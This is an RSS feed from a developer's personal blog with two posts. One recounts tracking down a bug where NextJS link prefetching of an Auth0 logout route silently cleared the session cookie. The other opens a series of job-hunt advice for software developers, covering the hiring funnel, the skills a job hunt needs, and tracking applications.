<?xml version="1.0"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>Oh, thoughts, you know</title>
    <link>http://georgemauer.net</link>
    <atom:link href="http://georgemauer.net/rss.xml" rel="self" type="application/rss+xml" />
    <description></description>
    <language>en-us</language>
    <pubDate>Sat, 18 Jul 2026 16:34:19 +0000</pubDate>
    <lastBuildDate>Sat, 18 Jul 2026 16:34:19 +0000</lastBuildDate>

    
    <item>
      <title>A Heck of a Wild Bug Chase</title>
      <link>http://georgemauer.net/2024/08/01/a-heck-of-a-wild-bug-chase.html</link>
      <pubDate>Thu, 01 Aug 2024 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2024/08/01/a-heck-of-a-wild-bug-chase.html</guid>
      <description>&lt;p&gt;I just tracked down a bug with more twists, turns, and interconnecting weirdness than I’ve seen in years - maybe ever. I feel like I’m going to be telling the story of Olympic-level Bug-Chase-2024 for years, and I feel compelled to write about it. To be clear, the following is a streamlined retelling. I’m omitting the twists, turns and dead-ends that abounded.&lt;/p&gt;

&lt;p&gt;Also, now is a good time to mention that I just coincidentally got laid off in a “Reduction in Force”, want to hire me?!&lt;/p&gt;

&lt;p&gt;First, some context. (Commence handwaving) Some time ago, &lt;a href=&quot;https://www.blocpower.io/&quot;&gt;our tech team&lt;/a&gt; received a request to create a way of showcasing graduates of our workforce training program on a job board. Because this was scheduled for only a pilot and we were already committed to a lot of other work, I recommended a relatively simple NextJs application thrown up on Vercel and secured by Auth0. As we were outside of our AWS infrastructure and this was meant to be just for a small-scale pilot, I didn’t want to deal with databases. Again, keeping things simple, I recommended simply storing all user/employer/job data in json files and if we ever needed to make an update, we’d simply update the file. The only persisted state on top of this was a favoriting system where jobs/employers/users could “star” each other. This was simply persisted in browser localStorage but - as we wanted to explore some data-driven matchmaking - we wanted access to who starred whom as well. So, my solution was a simple AWS Lambda behind an Api Gateway in our infrastructure that would dump results into a Google Sheet. The NextJS backend could hit it whenever someone was starred, and we’d have some basic data we could do live analysis on directly in the sheet. It worked quite well!&lt;/p&gt;

&lt;p&gt;Well, now the project is moving past “pilot phase” and into proper-project status. Heeding my many warnings and caveats from before, the first task for the small team working on this is to move the application to our AWS infrastructure. In our infrastructure we are putting it into a container which we are running on Kubernetes in EKS. It’s a lot, but I’ve already got Terraform templates for all of it so difficulty level: medium, the team gets it done.&lt;/p&gt;

&lt;p&gt;And here an odd issue comes up. While the favoriting behavior works perfectly well locally, when deployed into our testing Kubernetes cluster, the UI sees a 401 error. Logging into the container, it’s not the API Gateway or Lambda; we can &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; these just fine. We manage to recreate the issue when running the Docker container locally, confirming that a difference in network configuration is not in fact the culprit.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;Debugging into a Docker container is possible but not always straightforward. By attempting to recreate steps of the Docker build manually, we were able to understand that the Docker container itself was not the issue either. Performing a standalone NextJS build outside of a Docker container and running the application from there, the error manifests; the API service request fails. At this point, we can start debugging. While this is a tool you usually want to reach for earlier, &lt;a href=&quot;https://github.com/vercel/next.js/issues/62008#issuecomment-2116560006&quot;&gt;debugging in NextJS is particularly “special” and poorly understood&lt;/a&gt;, and debugging built and minified code is its own circle of hell, so putting it off is understandable. But once out of other moves, it’s into the breach we go.&lt;/p&gt;

&lt;p&gt;The debugger shows us the next clue. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getSession&lt;/code&gt; call from our Auth0 library is returning &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;null&lt;/code&gt;. Running and debugging the application on the dev server with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NODE_OPTIONS=&apos;--inspect&apos; next dev&lt;/code&gt; confirms that this is the root cause of our 401 errors. We (correctly) reject unauthenticated attempts to invoke the backend. In dev, our user info is pulled successfully from the session, but when the application is built, it is not.&lt;/p&gt;

&lt;p&gt;This is confusing but not beyond the pale of “Auth0 misconfiguration,” yet we reject that quite early, as tracing through the thread of execution step by step into the Auth0 library with the debugger gives us another clue to go on. Session state within the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nextjs-auth0&lt;/code&gt; package seems to be stored entirely within an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;appSession&lt;/code&gt; cookie. And lo and behold, in the “built” version, one is not received as part of the request from the browser.&lt;/p&gt;

&lt;p&gt;So the issue is in the browser-side code. Well, at least debugging will be easier. Also, my dev-sense is tingling. At this point in the bug-hunting process, identification of the key issue is usually right around the corner. Possibly something with CORS or cookie domain configuration happening differently in the production-build. Spoiler alert: All of these statements are wrong.&lt;/p&gt;

&lt;figure style=&quot;float: left; margin: 20px; display: flex; flex-direction: column;&quot;&gt;
  &lt;img src=&quot;/img/wild-bug-chase/whiteboard-wrong.png&quot; alt=&quot;Clueless person pointing to a whiteboard saying 1 + 1 = 3&quot; style=&quot;margin: 20px;&quot; /&gt;
  &lt;figcapture&gt;Joke idea by Claude AI. Image generated by DAL-E. Claude is saucy.&lt;/figcapture&gt;
&lt;/figure&gt;

&lt;p&gt;In the DevTools Network panel, I confirm that yes, indeed, the request was sent without an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;appSession&lt;/code&gt; in the built version while containing one in “dev”. The distinction is visible in the Application panel cookie view. In fact, here another hint presents itself. Both versions of the application are using the same endpoint (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;localhost:3000&lt;/code&gt;) because I’m lazy and prefer to manually toggle the servers on/off to remembering how to wire up an alternate port. I also know that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;appSession&lt;/code&gt; cookie &lt;em&gt;does&lt;/em&gt; exist on the dev version and &lt;em&gt;is&lt;/em&gt; visible in the Application cookie viewer. It is therefore notable that when viewing the “built” application - which, running on the same localhost port, should reference the same cookies - the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;appSession&lt;/code&gt; visibly disappears.&lt;/p&gt;

&lt;p&gt;This is in fact odd. As this is an HTTP-only cookie, the next stop is to see if maybe the server is actually clearing it at some point. Searching directly &lt;em&gt;in&lt;/em&gt; the DevTools network tab allows us to search across responses, and this shows something interesting. Several responses &lt;em&gt;do&lt;/em&gt; contain the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Set-Cookie: ...appSession...&lt;/code&gt; header, and, while most contain an actual token, the latest one in fact does clear it out, setting a blank value. Now that I know to look for it, I do in fact see the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;appSession&lt;/code&gt; flicker in and out of existence in the Application panel. The response is to an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/auth/logout&lt;/code&gt; request.&lt;/p&gt;

&lt;p&gt;Now this is interesting as there is no particular reason for the application to auto-log me out. Perhaps login itself is somehow unsuccessful in this version? Filtering down the network requests and logging in again shows that this is not the case. We log in just fine, the server responds, the cookie is set. And then the logout request comes automatically. And only in the “built” version. This isn’t some sort of redirect; the request is actually directly initiated from the client code.&lt;/p&gt;

&lt;p&gt;This is getting really out there. There is no code in our application that explicitly logs us out. At this point, the move is again to go to debugging. Finding the initiator of the network request (this is a potentially hidden column on the network panel) allows us to pinpoint the generic “fetch request” wrapper code that invokes the logout endpoint with NextJS. By setting conditional breakpoint triggers on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;href&lt;/code&gt; prop, I can avoid unrelated requests and only break on this one. Unfortunately, this hits a sort of dead end. As ReactJS does this stuff at virtual DOM reconciliation time, not at component execution time, the backtrace isn’t terribly helpful in figuring out &lt;em&gt;why&lt;/em&gt; this call is being triggered. Worse, with the application being minified, we get no clues from naming.&lt;/p&gt;

&lt;p&gt;Cue montage of me pacing and scratching my head in befuddlement. In desperation, I figure out how to disable minification in NextJS deployment (people talk shit about one-shot ChatGPT prompting for answers, but I find this sort of thing is &lt;em&gt;exactly&lt;/em&gt; what it excels at over and over again). And yes indeed, now the backtrace - while still not directly helpful - does hold a valuable clue. A function named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;prefetch&lt;/code&gt; was being invoked.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/wild-bug-chase/hamster-machine.png&quot; alt=&quot;Hamsters in a sort of Rube Goldberg machine that results in something happening on a computer monitor&quot; style=&quot;float: right; margin: 20px;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now this is absolutely bizarre. Prefetching is a feature of &lt;em&gt;browsers&lt;/em&gt; where certain anchor links (those tagged with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;prefetch&lt;/code&gt; attribute) will be loaded ahead of anyone clicking on them. This is useful when you have a good idea where your user might click next and so speeds up their workflow significantly. Now I was not aware that if a prefetch request received a response with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Set-Cookie&lt;/code&gt; that it would do so at that time; I had assumed it would be later when the link was actually activated. But even more importantly - what does NextJS have to do with prefetching? This is, again, a browser feature, further down the stack.&lt;/p&gt;

&lt;p&gt;We’re almost done now as the latter solves the former. The NextJS implementation of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Link&lt;/code&gt; component contains its &lt;em&gt;own&lt;/em&gt; implementation of prefetching. This is &lt;em&gt;why&lt;/em&gt; the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Set-Cookie&lt;/code&gt; behavior made no sense. From the browser’s point of view, this was just a regular request/response pair; it was only NextJS giving it that prefetch semantic.&lt;/p&gt;

&lt;p&gt;And yes, now it all becomes clear. We were displaying&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;Link&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/auth/logout&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;Log Out&lt;span class=&quot;nt&quot;&gt;&amp;lt;/Link&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And &lt;a href=&quot;https://nextjs.org/docs/pages/api-reference/components/link#prefetch&quot;&gt;prefetching is enabled by default on production builds&lt;/a&gt;. So, as soon as I logged in with my “production build” version, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;appSession&lt;/code&gt; cookie was set. With this, the “log out” link was displayed. This triggered a prefetch to the Auth0 “log out” route. Which - as it was managed by JS and not the browser - unset our cookie when the response was received. This was however &lt;em&gt;after&lt;/em&gt; the UI had rendered, so UI-level auth had already been checked based on the previously existing cookie and therefore the UI itself stayed accessible. Right up until I did the only thing that required an authenticated response from the back end - recording our starring action. At that time, no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;appSession&lt;/code&gt; cookie was available, and the server dutifully rejected our request with a “401 - I don’t know who you are” status code.&lt;/p&gt;

&lt;p&gt;I feel dizzy writing this. I realize it’s not &lt;a href=&quot;https://web.mit.edu/jemorris/humor/500-miles&quot;&gt;the absolute best bug-hunting story&lt;/a&gt;, but I hope it contributes to the genre. I’ve tracked down plenty of shocking bugs in my time, but this is the first time I’ve felt inspired to write about it. It &lt;em&gt;is&lt;/em&gt; wild how decisions made in one part of a technical stack can manifest at another point in time, in another place in the stack, and in such a convoluted manner.&lt;/p&gt;

&lt;p&gt;I think I need to go find some funny images to break up this essay.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/wild-bug-chase/mission-accomplished.png&quot; alt=&quot;Mission Accomplished battleship banner but it&apos;s beat up and falling apart.&quot; style=&quot;margin: 20px;&quot; /&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Get That Coding Job</title>
      <link>http://georgemauer.net/2023/07/22/get-that-coding-job.html</link>
      <pubDate>Sat, 22 Jul 2023 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2023/07/22/get-that-coding-job.html</guid>
      <description>&lt;h1 id=&quot;preface&quot;&gt;Preface&lt;/h1&gt;

&lt;p&gt;So far during my career, I’ve designed software developer hiring processes at three different companies. I’ve personally conducted a couple hundred interviews, I’ve run teams that have conducted thousands, I’ve written staffing software, and I’ve spoken on hiring at conferences. I have also mentored people for fifteen years, am involved in several online organizations based around helping people progress or move into tech, and while CTO at &lt;a href=&quot;https://www.operationspark.org/&quot;&gt;Operation Spark&lt;/a&gt; bootcamp, I spent months helping run the job hunt phase of the program. In one form or another, I think about this stuff every day, and people ask me for job hunt advice a lot.&lt;/p&gt;

&lt;p&gt;I’ve been meaning to write this article for a long time and I’ve got 6000 words of notes alone; so before we launch into this tome, let me just say that I very much acknowledge that my own experience is &lt;em&gt;not&lt;/em&gt; that of someone trying to break into the industry. At this point, its not even similar to most senior developers. In addition, even expert advice on an activity which is performed relatively infrequently and with long delays for feedback, is precisely the sort &lt;a href=&quot;https://en.wikipedia.org/wiki/Thinking,_Fast_and_Slow&quot;&gt;flagged by researchers&lt;/a&gt; as being not much better than random.&lt;/p&gt;

&lt;p&gt;Yet people keep asking me for advice on job hunt. And I do think that over the years I have developed a set of mostly common sense things that I tell people, and they do seem to find helpful.&lt;/p&gt;

&lt;p&gt;We’re going to cover the mental model of what I’m arguing for this post, then in subsequent ones we’ll go into thoughts on resumes, interviewing, and job hunt strategy. There’s a lot and there’s a limit to how much you should listen to me, but you probably shouldn’t just have AI summarize it. I tried to have Claude write it, it did not turn out well.&lt;/p&gt;

&lt;h1 id=&quot;mindset&quot;&gt;Mindset&lt;/h1&gt;

&lt;p&gt;Let’s not be shy about this, Job hunt is a Sisyphean task.&lt;/p&gt;

&lt;p&gt;Except of course it is not. Sisyphus was the ancient Greek king damned to eternally roll a boulder uphill. A thing can only be Sisyphean if it is impossible to attain your goals. Otherwise, it is just hard. And job hunting is hard. You are best served getting into the right frame of mind.&lt;/p&gt;

&lt;p&gt;Fortunately, it is not hard because you have to push a heavy boulder. It is hard because every part of the job hunt will be all about failure. Sure, in the end you suddenly achieve your goals, but right up till then…well it sucks.&lt;/p&gt;

&lt;p&gt;But what if job hunt is &lt;strong&gt;not primarily&lt;/strong&gt; about that?&lt;/p&gt;

&lt;p&gt;Writing code, doing projects, being a good coworker. These are all important and valuable skills. But it’s not the full set of skills needed to get the job. &lt;a href=&quot;https://pbfcomics.com/comics/sisyphus-myth/&quot;&gt;There is a different set&lt;/a&gt;. Your &lt;em&gt;primary&lt;/em&gt; goal is to build up these job-hunt skills.&lt;/p&gt;

&lt;p&gt;Before we launch into that list though, let’s consider the structure of a job hunt.&lt;/p&gt;

&lt;h2 id=&quot;the-funnel&quot;&gt;The Funnel&lt;/h2&gt;

&lt;p&gt;At its core, a job hunt is marketing, is it not? You are marketing yourself.&lt;/p&gt;

&lt;p&gt;Have you ever heard marketing or sales people talk about “the funnel”? The idea is that sales opportunities pass through a series of stages. At each stage a decision is made and the opportunity either progresses or gets eliminated and falls out of the funnel. From a hiring manager’s point of view, each applicant is an opportunity and - as they move through the process - at each stage the number of remaining applicants gets smaller. From the applicant’s point of view, at each successive stage the chances of them reaching the end, and an offer, increase.&lt;/p&gt;

&lt;p&gt;So it is really more of a sieve than a funnel, but I guess marketing folk aren’t known for their nomenclature. (Also feel free to visualize this as a video game…but like, without checkpoints and you never get a chainsaw.)&lt;/p&gt;

&lt;p&gt;During the job hunt, with each job application, you enter a funnel. Here is a rough list of stages you have to get through:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Your resume needs to get looked at.&lt;/strong&gt; That means someone has to actually be manning the hiring apparatus. You’ll be shocked how often there’s simply not someone on the other side. it’s not usually insidious, but I would wager this is the case with 20-50% of all job postings.&lt;/li&gt;
  &lt;li&gt;Alternately, &lt;strong&gt;they might have gotten so many resumes that they simply couldn’t review every one&lt;/strong&gt;. I encourage hiring managers in that position to pick at random a comfortable number of resumes they actually can review and mass-reject the rest. It sucks, but it sucks less than any alternative.&lt;/li&gt;
  &lt;li&gt;Next, &lt;strong&gt;your resume should stack up well enough against others to be selected for a phone screen&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;Of course you have to be able to carry on a conversation and demonstrate some competence in a &lt;strong&gt;phone screen and to be passed through to an interview&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;Then there’s the &lt;strong&gt;rounds of interview&lt;/strong&gt; - each a stage in itself. Let’s be conservative and say there are three rounds. The details don’t matter so much for the purposes of this list. Lets say these include &lt;strong&gt;a technical conversation&lt;/strong&gt; with the hiring manager, a &lt;strong&gt;leetcode-style coding test&lt;/strong&gt;, and &lt;strong&gt;a behavioral interview panel&lt;/strong&gt;. At each point you might get eliminated as your performance always has some chance of not matching expectations.&lt;/li&gt;
  &lt;li&gt;Now say that you get to the end of the interview process…well that’s no guarantee you &lt;strong&gt;get an offer&lt;/strong&gt;! There are other people also moving through the process. Ideally, only a couple should reach the end: the offer usually goes to just one.&lt;/li&gt;
  &lt;li&gt;Then of course the &lt;strong&gt;offer has to be good enough&lt;/strong&gt; that you’re willing to take it.&lt;/li&gt;
  &lt;li&gt;And finally, at every point in time there’s the small, yet real &lt;strong&gt;possibility of the job simply disappearing&lt;/strong&gt;, hiring being frozen, the manager or recruiter leaving, or people just plain dropping the ball.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This list is key to understand and we will revisit it throughout this series. There are things you can do to improve your odds at just about any stage, but you have to prioritize. Time spent improving in one area is time not spent on another. You have to learn how to think about these odds and how they interact. Unless you’re an ace at Bayesian probability, &lt;strong&gt;your intuition here is probably wrong&lt;/strong&gt;.&lt;/p&gt;

&lt;figure style=&quot;width: 400px; float: right;&quot;&gt;
  &lt;img alt=&quot;Job hunt simulator screenshot. Calculation has finished showing means of 21.84 weeks in job hunt, 477.44 total applications, and a breakdown of stages. In most, the resume was not selected or the listing was not real&quot; src=&quot;/img/get-that-coding-job/job-hunt-simulator.png&quot; /&gt;
  &lt;figcaption&gt;&lt;a href=&quot;http://georgemauer.net/job-hunt-simulator/&quot;&gt;Job Hunt Simulator&lt;/a&gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Which is why, after the 50th time I’ve had a conversation with a mentee about how the odds don’t play out like they think, &lt;a href=&quot;http://georgemauer.net/job-hunt-simulator/&quot;&gt;I created a tool to help&lt;/a&gt;! You make a &lt;a href=&quot;https://brilliant.org/wiki/fermi-estimate/&quot;&gt;Fermi estimate&lt;/a&gt; for your odds representing all the above stages and it interactively runs thousands of simulations to show you how that job hunt might go.&lt;/p&gt;

&lt;p&gt;Its crude and purposefully worksheet-esque as I want people to focus on the relative impact of certain variables compared to others, but the math isn’t complex and I think it demonstrates these things well. I’ll be referring to this a lot throughout as well.&lt;/p&gt;

&lt;div style=&quot;clear: both;&quot;&gt;&lt;/div&gt;

&lt;h2 id=&quot;job-hunt-skills&quot;&gt;Job Hunt Skills&lt;/h2&gt;

&lt;p&gt;Lets first give a disclaimer: If you have amazing, preexisting marketing and sales skills you probably don’t need to hear any of this. If you are incredible at networking and can cold-call sell a wool coat to a sheep, you don’t need my advice and you should just go do the things you already know how to do far better than I. But for the rest, lets talk about what I mean by “job hunt skills”.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;“There’s nothing to applying at all. All I need to do is tailor my resume and click submit, right?”&lt;/em&gt;
 – a mentee&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Yeah, it’s not that simple. But fair question, what is this entirely different set of skills anyways? Let’s do another list.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Goal setting and sticking to a schedule&lt;/strong&gt;. Including the ability to set small-yet-achievable short-term &lt;strong&gt;goals&lt;/strong&gt;, set &lt;strong&gt;commitments&lt;/strong&gt;, do regular &lt;strong&gt;accountability check-ins&lt;/strong&gt;, and &lt;strong&gt;adjust&lt;/strong&gt; as needed.&lt;/p&gt;

    &lt;p&gt;This is the key to improving at &lt;em&gt;most things&lt;/em&gt;. Musicians and high-level athletes already know this, but now you’re in on the secret as well!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Ability to simply &lt;strong&gt;find jobs&lt;/strong&gt; find apply to.&lt;/p&gt;

    &lt;p&gt;Ever look at a job board and dejectedly feel like none of these listings are a fit? It’s not just you. This influences the rate at which you can apply for jobs and therefore how many chances to progress through funnel do you get per week.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The mere act of applying is hard. &lt;strong&gt;You have to deal repeatedly with an emotional roller coaster&lt;/strong&gt;. You have to put yourself out there, you get hopeful, open up yourself to dejection, and &lt;em&gt;if you are lucky&lt;/em&gt; it all comes crashing down on you when you get a rejection (which is still better than no response).&lt;/p&gt;

    &lt;p&gt;As humans, we try to avoid these situations, yet &lt;a href=&quot;https://www.youtube.com/watch?v=MZtuo8yJRH0&quot;&gt;the only way out is through&lt;/a&gt;. There are ways to increase your odds, but there are no magic bullets. You can desensitize yourself so that it doesn’t sting so bad or…well there are no better options. This again influences that application rate, how frequently you will need to take breaks, and the likelihood you end up giving up and walking away from the whole thing entirely. No one &lt;strong&gt;wants&lt;/strong&gt; to apply to 3000 jobs and you very likely won’t have to, but wouldn’t it be nice if such a high number didn’t give you all-night indigestion?&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;You have to get to a point where it is easy to &lt;strong&gt;write and talk about yourself&lt;/strong&gt;.&lt;/p&gt;

    &lt;p&gt;It’s not a natural thing for most people, yet is what much of the interview and application process consists of. Getting good at this is going to affect much of your experience. Your application, phone screen, interviews are in no small part exactly this!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Following up&lt;/strong&gt;.&lt;/p&gt;

    &lt;p&gt;This is key to get people to actually pick up and look at your resume where they otherwise might not. There’s several different strategies available, how do you (tastefully) become impossible to ignore?&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Cold reach-out&lt;/strong&gt;.&lt;/p&gt;

    &lt;p&gt;Contacting individuals you do not know, requesting favors of connection or information can often feel socially taboo, yet it is key to several networking approaches. These can improve your odds of applying to jobs where you are likely to be considered, increase your chances of getting past the screen, and improve your ability to talk shop during interviews. It is a very worthwhile tool to have in your pocket&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Researching companies and industries&lt;/strong&gt;.&lt;/p&gt;

    &lt;p&gt;Most people have no idea how to do real research. It’s not ten minutes browsing the company website. Understanding how to &lt;strong&gt;take notes,&lt;/strong&gt; &lt;strong&gt;join communities,&lt;/strong&gt; and how to conduct &lt;strong&gt;informational/reverse interviews&lt;/strong&gt; is key here and takes a decent amount of practice.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The ability to &lt;strong&gt;have engaging conversation&lt;/strong&gt; live and &lt;strong&gt;asking good questions&lt;/strong&gt;.&lt;/p&gt;

    &lt;p&gt;These are of course a must for interview, phone screen, and offer stages, as well as supporting techniques in many others. In these post-COVID pandemic days, we all need some work to improve here.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Ability to &lt;strong&gt;talk about technology&lt;/strong&gt;.&lt;/p&gt;

    &lt;p&gt;It’s great that you know React, C++, and Kubernetes. But can you actually &lt;strong&gt;demonstrate that knowledge live in a conversation&lt;/strong&gt;? Can you make it mutually enjoyable to show what a convivial coworker you would be?&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Leetcode-style coding&lt;/strong&gt;. Or &lt;strong&gt;live-coding&lt;/strong&gt;. Or &lt;strong&gt;take-home-project coding&lt;/strong&gt;.&lt;/p&gt;

    &lt;p&gt;Well you knew this would be on the list as it affects those interview stages, but you are probably surprised how small a proportion of this list these skills really are. They are important, and you should work on them (but keep in mind how many other skills are just as important).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Network building&lt;/strong&gt; and &lt;strong&gt;maintenance&lt;/strong&gt;&lt;/p&gt;

    &lt;p&gt;This is the core of “networking”. How do you actually “build a network”? What is one? How do you use it? How do you tend it so it doesn’t decay?&lt;/p&gt;

    &lt;p&gt;This again, affects stages at the front of your funnel directly and all others indirectly. For example in the course of networking, you might hear about un-posted roles, you might get ideas for new places to apply, you might get a referral. You &lt;em&gt;will&lt;/em&gt; get lots of practice talking to people in industry; that seems rather useful.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is a lot - almost an overwhelming amount! Even in this lengthy blog series I don’t think I’ll get to everything. Worse, most of it is well outside most people’s comfort zone. So how do we climb a mountain like this when it is both uncomfortable and emotionally draining?&lt;/p&gt;

&lt;p&gt;Habit and organization are key.&lt;/p&gt;

&lt;h1 id=&quot;you-have-to-get-organized&quot;&gt;You have to get organized&lt;/h1&gt;

&lt;p&gt;There’s a saying in advertising that half of all money spent on it is wasted, the problem is that you don’t know which half. The same (with some caveats) applies here. And if we’re taking lessons from advertising, then what did the industry do in the late 90s to deal with this conundrum? Well, with &lt;a href=&quot;https://www.internethistorypodcast.com/2014/10/the-webs-first-banner-ads/&quot;&gt;adtech, they started to&lt;/a&gt;…&lt;/p&gt;

&lt;h2 id=&quot;track-everything&quot;&gt;Track everything&lt;/h2&gt;

&lt;p&gt;Yes, that bugbear of the modern internet - tracking - started initially as an attempt to simply understand which advertising worked and which was merely annoying! Which is actually understandable and almost noble.&lt;/p&gt;

&lt;p&gt;If your primary goal is to build up job hunting skills, your &lt;strong&gt;secondary goal&lt;/strong&gt; is to gather data that can be used to guide you further in the job hunting process.&lt;/p&gt;

&lt;p&gt;I’ve been following recently on a forum of dozens of very high-level software engineers and managers looking for and sharing job hunting tips. Here is an example of the sort of thing they are regularly posting.&lt;/p&gt;

&lt;figure style=&quot;width: 400px; display: block; margin: auto;&quot;&gt;
  &lt;img alt=&quot;Snakey diagram showing a job hunt flow. A structure emerges with success/fail branches following an upwards path ending in several offers.&quot; src=&quot;/img/get-that-coding-job/snakey-diagram.png&quot; /&gt;
  &lt;figcaption&gt;(Reprinted with permission.) A &lt;a href=&quot;https://www.sankeymatic.com/&quot;&gt;snakey diagram&lt;/a&gt; of someone&apos;s job hunt.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Now your numbers will of course be very different, but at a bare minimum this is the sort of thing you should be able to generate at any point in time and with little effort. This does not mean &lt;em&gt;“I can check my email and see where I applied”&lt;/em&gt; or &lt;em&gt;“well Indeed has this nice tool to show you who has looked at your resume”&lt;/em&gt;. You have access to a lot more data than such tools offer!&lt;/p&gt;

&lt;p&gt;Remember those weekly accountability and commitment meetings I mentioned? Well these work best if you can set goals and discuss success in terms of numbers. Ideally, all of the following are things that you should be able to give weekly updates on.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Exactly how many places you’ve applied, in the past week? Ever?&lt;/li&gt;
  &lt;li&gt;To the best of your knowledge, exactly which stage in the process are you with each application.&lt;/li&gt;
  &lt;li&gt;What follow-ups have you done? When? Where will you follow-up next?&lt;/li&gt;
  &lt;li&gt;Which cover letter and/or resume did you use for every job application? If they have a custom form with essay questions, what exactly did you write in there?&lt;/li&gt;
  &lt;li&gt;What industry is every company in and what they do? How large is the company?&lt;/li&gt;
  &lt;li&gt;How excited are you about the opportunity? Putting a number to this is great when you are determining how to prioritize follow-ups!&lt;/li&gt;
  &lt;li&gt;What is the list of mistakes you have made in interviews? What is the list of feedback you have received?&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Of the jobs you find yourself applying to, which skills are they demanding? Which are regularly nice-to-haves?&lt;/p&gt;

    &lt;p&gt;All of this presents an opportunity. If you’re a coder, you should code! Make your data work for you; play with it. Don’t just copy-paste skill lists, standardize things. If you have a category for “Javascript” and they’re asking for “ReactJs” or “Node”, then that still counts as Javascript. Are you making bar charts about this stuff? Are you using it to guide your study? Is this &lt;em&gt;at least&lt;/em&gt; the sort of thing you’re organized enough to do in theory?&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is all starting to sound a lot like a spreadsheet, does it not? Probably a good idea to have one. Or use a markdown file. Or design a database! But be consistent and detail-oriented.&lt;/p&gt;

&lt;p&gt;So yes, this is a lot. An awful lot. It does take the pressure off though, doesn’t it? You still want a job of course, but there are many shorter-term wins available! You are taking those job applications and converting them into a positive source of much-needed data that in turn you can use to improve your job hunt.&lt;/p&gt;

&lt;h2 id=&quot;its-all-about-cadence&quot;&gt;It’s all about cadence&lt;/h2&gt;

&lt;p&gt;Here is the general shape of the job-hunt I am proposing:&lt;/p&gt;

&lt;p&gt;First, you &lt;strong&gt;find a schedule that you can stick to&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Next, you &lt;strong&gt;find a baseline of what sort of effort you can maintain long-term&lt;/strong&gt;. In its most basic form, you want to be able to say something like “I have maintained it for a while and I know that I can apply to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X&lt;/code&gt; amount of jobs per week without breaking a sweat.”&lt;/p&gt;

